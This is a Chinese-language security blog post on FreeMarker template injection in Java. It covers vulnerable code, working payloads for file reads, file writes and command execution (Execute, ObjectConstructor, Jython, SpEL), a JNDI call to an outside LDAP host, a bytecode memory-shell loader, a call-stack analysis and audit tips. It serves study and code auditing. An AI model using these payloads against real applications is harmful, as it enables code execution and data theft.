Java安全之freemaker模版注入

Java安全之freemaker模版注入

freemaker簡介

FreeMarker 是一款模板引擎: 即一種基於模板和要改變的數據, 並用來生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。 在線手冊://freemarker.foofun.cn/

模板文件存放在Web服務器上,當訪問指定模版文件時, FreeMarker會動態轉換模板,用最新的數據內容替換模板中 ${...}的部分,然後返回渲染結果。

freemaker中的一些概念:

  • ${...}: FreeMarker將會輸出真實的值來替換大括號內的表達式,這樣的表達式被稱為 interpolation(插值)

  • FTL 標籤 (FreeMarker模板的語言標籤): FTL標籤和HTML標籤有一些相似之處,但是它們是FreeMarker的指令,是不會在輸出中打印的。 這些標籤的名字以 # 開頭。(用戶自定義的FTL標籤則需要使用 @ 來代替 #,但這屬於更高級的話題了。)

  • 注釋: 注釋和HTML的注釋也很相似, 但是它們使用 <#-- and --> 來標識。 不像HTML注釋那樣,FTL注釋不會出現在輸出中(不出現在訪問者的頁面中), 因為 FreeMarker會跳過它們。

其他任何不是FTL標籤,插值或注釋的內容將被視為靜態文本, 這些東西不會被FreeMarker所解析;會被按照原樣輸出出來。

freemaker中的一些指令://freemarker.foofun.cn/dgui_quickstart_template.html

一般漏洞常位於後台可以編輯模版的地方,通過插入惡意的ftl指令到ftl文件中,當後端再次return或者process時即可觸發代碼執行。

主要代碼

Configuration cfg = new Configuration();
cfg.setAPIBuiltinEnabled(true);	// 開啟api
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);

StringWriter writer = new StringWriter();
template.process(root,writer);		//*
return writer.toString();

利用方式

api

這些內建函數從 FreeMarker 2.3.22 版本開始存在。

通過它可以訪問底層Java Api Freemarker的BeanWrappers。這個內置函數默認不開啟,但通過Configurable.setAPIBuiltinEnabled可以開啟它。

如果value本身支持這個額外的特性, value?api 提供訪問 value API (通常是 Java API),比如 value?api.someJavaMethod(), 當需要調用對象的Java方法時。

poc

 <#assign classLoader=object?api.class.protectionDomain.classLoader>
  eg1:// 未測試成功
  <#assign classLoader=object?api.class.getClassLoader()>
  ${classLoader.loadClass("our.desired.class")}

  eg2: 任意文件讀
  <#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]
eg3: 
   <#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg4:
<#assign uri=object?api.class.getResource("/").toURI()>
    <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
    <#assign is=input?api.getInputStream()>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg5:獲取classLoader
<#assign classLoader=object?api.class.protectionDomain.classLoader>
    <#assign clazz=classLoader.loadClass("ClassExposingGSON")>
    <#assign field=clazz?api.getField("GSON")>
    <#assign gson=field?api.get(null)>
    <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
    ${ex("calc")}

New

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value為自定義標籤

針對new的利用方式,官方提供的一種限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或設置 new_builtin_class_resolver 來限制這個內建函數對類的訪問。此處官方提供了三個預定義的解析器(從 2.3.17版開始)。:

  • UNRESTRICTED_RESOLVER:簡單地調用ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一個類似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何類。

寫文件

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}

SpEL

// 命令執行
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}

// JNDI
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi:///jndi/ldap://172.16.4.1:1389/Basic/Command\"),new+java.util.Hashtable()).connect()").getValue()}

// 加載位元組碼
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}

分析

先會通過StringTemplateLoader#putTemplate將我們輸入的模版hello.ftl存放在StringTemplateLoader類中templates屬性

 @RequestMapping(value = "/template", method =  RequestMethod.POST)
    public String template(@RequestBody Map<String,String> templates) throws IOException {
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        for(String templateKey : templates.keySet()){
            stringLoader.putTemplate(templateKey, templates.get(templateKey));
        }
        con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                con.getTemplateLoader()}));
        con.setAPIBuiltinEnabled(true);
        return "index";
    }

之後將上面加載惡意模版的StringTemplateLoader通過Configuration#setTemplateLoader添加到cache中

之後通過return hello會去調用我們添加的惡意模版(當然這裡是demo代碼,)

後面部分依然走的SpringMVC工作流程,return modelandview的時候SpringMVC會去找對應的視圖解析器來解析渲染模版並返回視圖到前端

堆棧如下:

doRender:285, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedTemplateModel:235, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedOutputModel:167, AbstractTemplateView (org.springframework.web.servlet.view)
render:303, AbstractView (org.springframework.web.servlet.view)
render:1286, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1041, DispatcherServlet (org.springframework.web.servlet)
doDispatch:984, DispatcherServlet (org.springframework.web.servlet)
doService:901, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:661, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)

這裡直接跟到freemaker裏面看freemaker的處理,跟進FreeMarkerView#doRender方法

這裡首先通過gettemplate()獲取到我們之前構造的惡意模版

   protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
        template.process(model, response.getWriter());
    }

之後在processTemplate調用Template#process,通過visit方法解析ftl指令觸發代碼執行

freemarker.template.utility.Execute#exec()下斷點看下調用,在visit之後主要是通過_eval來執行的ftl指令

_eval是抽象方法,對應的實現有很多,而freemarker.template.utility.Execute對應的是MethodCall中的實現

調用targetMethod中的exec方法

命令執行

最近遇到的freemaker比較多,這次主要是多了解一下freemaker的利用和審計時需要注意的點,主要是注意有沒有freemaker的特徵或者ftl

審計時就需要看編輯模版的地方有沒有StringTemplateLoader#putTemplatereturn此模版或者Template#process去解析的,大概里就會存在freemaker的模版注入。

關於builtin function中的api還是沒有很理解,感覺會能玩出很多花活

Reference

//www.cnblogs.com/nice0e3/p/16217471.html

//freemarker.foofun.cn/

//freemarker.foofun.cn/ref_builtins_expert.html

//xz.aliyun.com/t/4846

//dem0dem0.top/2022/06/10/freemarker初探/

//www.anquanke.com/post/id/215348

//www.cnblogs.com/bmjoker/p/13508538.html

//github.com/achuna33/Memoryshell-JavaALL